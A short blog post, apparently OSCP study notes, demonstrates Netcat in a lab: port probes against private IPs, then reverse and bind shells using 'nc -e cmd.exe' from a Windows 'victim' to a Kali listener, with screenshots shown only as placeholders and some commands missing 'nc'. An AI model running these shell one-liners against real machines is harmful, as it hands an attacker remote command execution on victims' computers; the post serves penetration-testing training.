OSCP Security Technology - Netcat

OSCP Security Technology - Netcat

Netcat

Download Netcat for windows from following website.

https://eternallybored.org/misc/netcat/

image-20210619202030202

nc -nv 192.168.2.28 443
nc -nv 192.168.2.28 80
nc -nv 192.168.2.28 111
nc -nv 192.168.2.28 112

image-20210619202300171

Method 1

Listen on port 4444

Kali Linux:

nc -nvlp 4444

image-20210619202642370

Windows (Victim computer)

 -nv 192.168.2.24 4444 -e cmd.exe

image-20210619203016396

Kali: Established the connection.

image-20210619203205486

Method 2

Reverse connection.

-nvlp 4444 -e cmd.exe

image-20210619203634641

nc -nv 192.168.2.31 4444

image-20210619204025503

posted @ 2021-06-19 20:42  晨风_Eric  阅读(50)  评论(0编辑  收藏  举报